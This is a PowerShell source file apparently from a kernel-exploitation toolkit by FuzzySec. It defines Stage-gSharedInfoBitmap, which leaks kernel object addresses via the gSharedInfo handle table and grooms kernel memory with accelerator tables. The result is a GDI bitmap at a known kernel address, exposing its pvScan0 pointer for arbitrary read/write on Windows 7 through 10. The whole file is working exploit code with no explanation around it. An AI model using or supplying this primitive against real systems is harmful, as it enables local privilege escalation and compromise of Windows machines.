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PSKernel-Primitives/Stage-gSharedInfoBitmap.ps1
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function Stage-gSharedInfoBitmap { | |
<# | |
.SYNOPSIS | |
Universal x32/x64 Bitmap leak using gSharedInfo. | |
Targets: 7, 8, 8.1, 10, 10 RS1 | |
.DESCRIPTION | |
Author: Ruben Boonen (@FuzzySec) | |
License: BSD 3-Clause | |
Required Dependencies: None | |
Optional Dependencies: None | |
.EXAMPLE | |
PS C:\Users\b33f> Stage-gSharedInfoBitmap |fl | |
BitmapKernelObj : -7692235059200 | |
BitmappvScan0 : -7692235059120 | |
BitmapHandle : 1845828432 | |
PS C:\Users\b33f> $Manager = Stage-gSharedInfoBitmap | |
PS C:\Users\b33f> "{0:X}" -f $Manager.BitmapKernelObj | |
FFFFF901030FF000 | |
#> | |
Add-Type -TypeDefinition @" | |
using System; | |
using System.Diagnostics; | |
using System.Runtime.InteropServices; | |
using System.Security.Principal; | |
public static class gSharedInfoBitmap | |
{ | |
[DllImport("gdi32.dll")] | |
public static extern IntPtr CreateBitmap( | |
int nWidth, | |
int nHeight, | |
uint cPlanes, | |
uint cBitsPerPel, | |
IntPtr lpvBits); | |
[DllImport("kernel32", SetLastError=true, CharSet = CharSet.Ansi)] | |
public static extern IntPtr LoadLibrary( | |
string lpFileName); | |
[DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)] | |
public static extern IntPtr GetProcAddress( | |
IntPtr hModule, | |
string procName); | |
[DllImport("user32.dll")] | |
public static extern IntPtr CreateAcceleratorTable( | |
IntPtr lpaccl, | |
int cEntries); | |
[DllImport("user32.dll")] | |
public static extern bool DestroyAcceleratorTable( | |
IntPtr hAccel); | |
} | |
"@ | |
# Check Arch | |
if ([System.IntPtr]::Size -eq 4) { | |
$x32 = 1 | |
} | |
function Create-AcceleratorTable { | |
[IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(10000) | |
$AccelHandle = [gSharedInfoBitmap]::CreateAcceleratorTable($Buffer, 700) # +4 kb size | |
$User32Hanle = [gSharedInfoBitmap]::LoadLibrary("user32.dll") | |
$gSharedInfo = [gSharedInfoBitmap]::GetProcAddress($User32Hanle, "gSharedInfo") | |
if ($x32){ | |
$gSharedInfo = $gSharedInfo.ToInt32() | |
} else { | |
$gSharedInfo = $gSharedInfo.ToInt64() | |
} | |
$aheList = $gSharedInfo + [System.IntPtr]::Size | |
if ($x32){ | |
$aheList = [System.Runtime.InteropServices.Marshal]::ReadInt32($aheList) | |
$HandleEntry = $aheList + ([int]$AccelHandle -band 0xffff)*0xc # _HANDLEENTRY.Size = 0xC | |
$phead = [System.Runtime.InteropServices.Marshal]::ReadInt32($HandleEntry) | |
} else { | |
$aheList = [System.Runtime.InteropServices.Marshal]::ReadInt64($aheList) | |
$HandleEntry = $aheList + ([int]$AccelHandle -band 0xffff)*0x18 # _HANDLEENTRY.Size = 0x18 | |
$phead = [System.Runtime.InteropServices.Marshal]::ReadInt64($HandleEntry) | |
} | |
$Result = @() | |
$HashTable = @{ | |
Handle = $AccelHandle | |
KernelObj = $phead | |
} | |
$Object = New-Object PSObject -Property $HashTable | |
$Result += $Object | |
$Result | |
} | |
function Destroy-AcceleratorTable { | |
param ($Hanlde) | |
$CallResult = [gSharedInfoBitmap]::DestroyAcceleratorTable($Hanlde) | |
} | |
$KernelArray = @() | |
for ($i=0;$i -lt 20;$i++) { | |
$KernelArray += Create-AcceleratorTable | |
if ($KernelArray.Length -gt 1) { | |
if ($KernelArray[$i].KernelObj -eq $KernelArray[$i-1].KernelObj) { | |
Destroy-AcceleratorTable -Hanlde $KernelArray[$i].Handle | |
[IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x50*2*4) | |
$BitmapHandle = [gSharedInfoBitmap]::CreateBitmap(0x701, 2, 1, 8, $Buffer) # # +4 kb size -lt AcceleratorTable | |
break | |
} | |
} | |
Destroy-AcceleratorTable -Hanlde $KernelArray[$i].Handle | |
} | |
$BitMapObject = @() | |
$HashTable = @{ | |
BitmapHandle = $BitmapHandle | |
BitmapKernelObj = $($KernelArray[$i].KernelObj) | |
BitmappvScan0 = if ($x32) {$($KernelArray[$i].KernelObj) + 0x32} else {$($KernelArray[$i].KernelObj) + 0x50} | |
} | |
$Object = New-Object PSObject -Property $HashTable | |
$BitMapObject += $Object | |
$BitMapObject | |
} |